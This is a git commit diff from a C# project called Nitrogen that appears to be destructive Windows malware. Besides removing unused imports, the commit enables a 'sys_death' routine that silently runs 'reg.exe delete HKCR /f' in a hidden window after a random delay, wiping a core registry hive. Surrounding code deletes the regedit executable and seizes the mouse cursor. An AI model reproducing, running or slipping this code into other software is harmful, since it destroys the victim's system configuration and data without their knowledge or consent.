Few changes

This commit is contained in:
Vichingo455 2024-12-06 15:31:55 +01:00
parent 234480adbf
commit 1ec72b98bb
4 changed files with 15 additions and 22 deletions

View File

@ -1,11 +1,9 @@
using Microsoft.Win32; using Microsoft.Win32;
using System; using System;
using System.Collections.Generic;
using System.IO; using System.IO;
using System.Linq; using System.Linq;
using System.Media; using System.Media;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Text;
namespace Nitrogen namespace Nitrogen
{ {

View File

@ -1,8 +1,6 @@
using Microsoft.Win32; using Microsoft.Win32;
using System; using System;
using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
using System.Linq;
using System.Threading; using System.Threading;
using System.Windows.Forms; using System.Windows.Forms;
using static Nitrogen.Dll_Imports; using static Nitrogen.Dll_Imports;

View File

@ -1,11 +1,8 @@
using System; using System;
using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
using System.Drawing;
using System.IO; using System.IO;
using System.Linq;
using System.Media;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Text;
using System.Threading; using System.Threading;
using System.Windows.Forms; using System.Windows.Forms;
using static Nitrogen.Dll_Imports; using static Nitrogen.Dll_Imports;
@ -175,17 +172,6 @@ namespace Nitrogen
{ {
File.Delete(regedit); File.Delete(regedit);
} }
/*ProcessStartInfo registry = new ProcessStartInfo
{
UseShellExecute = true,
FileName = "reg.exe",
Arguments = @"delete HKCR /f",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
};
Process.Start(registry);
*/
} }
catch { } catch { }
} }
@ -352,6 +338,7 @@ namespace Nitrogen
thr.Start(); thr.Start();
Random rand = new Random(); Random rand = new Random();
Thread.Sleep(rand.Next(300000, 600000)); Thread.Sleep(rand.Next(300000, 600000));
sys_death();
Environment.Exit(-1); Environment.Exit(-1);
} }
@ -361,7 +348,7 @@ namespace Nitrogen
while (proces_name.Length == 1) while (proces_name.Length == 1)
{ {
proces_name = Process.GetProcessesByName("notepad"); proces_name = Process.GetProcessesByName("notepad");
Dll_Imports.SetCursorPos(50, 50); Cursor.Position = new Point(50, 50);
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTUP, 50, 50, 0, UIntPtr.Zero); Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTUP, 50, 50, 0, UIntPtr.Zero);
//Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTUP, 50, 50, 0, UIntPtr.Zero); //Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTUP, 50, 50, 0, UIntPtr.Zero);
Thread.Sleep(1); Thread.Sleep(1);
@ -464,5 +451,17 @@ namespace Nitrogen
} }
} }
} }
public static void sys_death()
{
ProcessStartInfo registry = new ProcessStartInfo
{
UseShellExecute = true,
FileName = "reg.exe",
Arguments = @"delete HKCR /f",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
};
Process.Start(registry).WaitForExit();
}
} }
} }

View File

@ -1,11 +1,9 @@
using System; using System;
using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
using System.Linq; using System.Linq;
using System.Management; using System.Management;
using System.Net; using System.Net;
using System.Reflection; using System.Reflection;
using System.Runtime.InteropServices;
using System.Text; using System.Text;
using System.Threading; using System.Threading;
using static Nitrogen.Dll_Imports; using static Nitrogen.Dll_Imports;